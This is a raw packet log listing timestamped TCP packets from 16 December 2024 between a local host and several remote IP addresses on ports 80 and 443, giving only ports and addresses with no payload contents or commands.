Dec 16, 2024 15:02:13.612713099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.613542080 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.613627911 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.613687038 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.613699913 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.613815069 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.614712000 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.614783049 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.614931107 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.615725994 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.615789890 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.615962029 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.616041899 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.616736889 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.616822004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.616955996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.617074013 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.618099928 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.618156910 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.618166924 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.618422985 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.619128942 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.619198084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.619977951 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.620022058 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.620049000 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.620104074 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.620105028 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.620840073 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.620959997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.621037006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.621866941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.621985912 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.622117996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.622185946 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.622936010 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.622947931 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.623003006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.623003006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.623953104 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.624294996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.624408960 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.625010967 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.625022888 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.625072002 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.626069069 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.626082897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.626146078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.626146078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.627006054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.627235889 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.627682924 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.627780914 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.628006935 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.628212929 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.628865957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.628937960 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.629019976 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.629065990 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.629755974 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.629873037 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.630048037 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.631220102 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.631232023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.631243944 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.631330013 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.631330013 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.632196903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.632251978 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.632973909 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.633033991 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.633119106 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.633197069 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.633234024 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.633414984 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.634208918 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.634282112 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.634305000 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.634670973 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.635174036 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.635778904 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.635878086 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.636229992 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.637274981 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.637286901 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.637290001 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.637312889 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.637361050 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.638267040 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.638318062 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.639374018 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.639386892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.639399052 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.639436007 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.639491081 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.640328884 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.640434027 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.640444994 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.640484095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.641374111 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.641491890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.641500950 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.642426014 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.642486095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.642961979 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.643081903 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.643400908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.643563032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.643573046 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.643794060 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.644484997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.644582987 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.645109892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.645207882 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.645452976 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.645550966 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.645602942 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.646420956 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.646680117 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.785280943 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.785523891 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.785660982 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.785757065 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.786592007 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.786604881 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.786669016 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.786776066 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.787861109 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.788180113 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.788839102 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.788907051 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.789144039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.790347099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.790452957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.790488958 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.791393042 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.791426897 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.791871071 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.792161942 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.792721033 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.792788029 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.792880058 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.793927908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.793941021 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.794022083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.794022083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.794787884 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.795101881 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.795384884 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.795834064 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.796355009 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.796809912 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.796822071 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.796871901 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.797728062 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.798894882 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.798991919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.799005032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.799088955 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.799422026 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.800062895 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.800466061 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.800661087 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.801192045 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.801428080 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.802290916 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.802303076 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.802486897 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.803117037 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.803128958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.803399086 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.804200888 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.804384947 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.804630995 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.804806948 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.805005074 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.805187941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.805531979 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.805572987 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.805572987 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.805901051 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.805983067 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.806485891 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.806585073 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.806603909 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.806746006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.807305098 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.807374001 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.807725906 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.808216095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.808511972 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.808526039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.808578968 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.808619022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.809514046 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.809597969 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.809957027 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.810051918 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.810390949 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.810564041 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.810662985 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.810751915 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.811194897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.811408997 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.811552048 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.811608076 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.812021017 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.812066078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.813163996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.813178062 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.813189983 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.813246965 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.813246965 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.814105034 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.814169884 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.815088987 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.815155983 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.815175056 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.815187931 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.815296888 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.816329002 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.816384077 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.816593885 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.816685915 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.816731930 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.817924023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.817965984 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.818017960 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.818809032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.818978071 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.819048882 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.819837093 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.819849014 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.819909096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.819909096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.820853949 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.820955038 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.821130037 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.821229935 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.822019100 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.822032928 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.822098017 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.822098017 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.822665930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.822742939 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.823375940 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.823390961 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.823402882 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.823465109 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.823465109 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.824353933 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.824454069 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.825234890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.825452089 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.825541973 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.825555086 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.825642109 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.826453924 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.826467037 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.827430010 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.827471018 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.827723980 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.828507900 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.828527927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.828599930 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.828994036 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.829118967 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.829466105 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.829571962 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.829595089 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.829651117 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.830600023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.830610991 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.830739975 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.831806898 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.831965923 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.832607985 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.832684040 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.833410025 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.833532095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.834153891 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.834165096 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.834245920 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.834269047 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.834846020 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.835004091 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.835150957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.835222006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.835973024 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.836030960 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.836611986 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.836843967 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.836904049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.837070942 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.837116003 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.837716103 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.837728024 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.837769032 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.837790012 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.838697910 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.839380026 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.977854013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.978163004 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.978177071 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.978190899 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.978302002 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.978302002 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.979064941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.979260921 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.979931116 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.980216026 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.980228901 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.980273008 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.981134892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.981986046 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.982248068 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.982309103 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.982655048 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.983163118 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.983350992 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.983434916 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.984196901 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.984253883 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:15.789575100 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:15.789709091 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:15.793852091 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:15.793860912 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:15.794156075 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:15.796649933 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:15.796766043 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:15.796773911 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:15.797103882 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:15.843332052 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:15.980597973 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:15.980631113 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:15.980804920 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:15.984710932 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:15.984724045 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:16.339828014 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:16.339966059 CET	443	49878	20.198.118.190	192.168.2.6
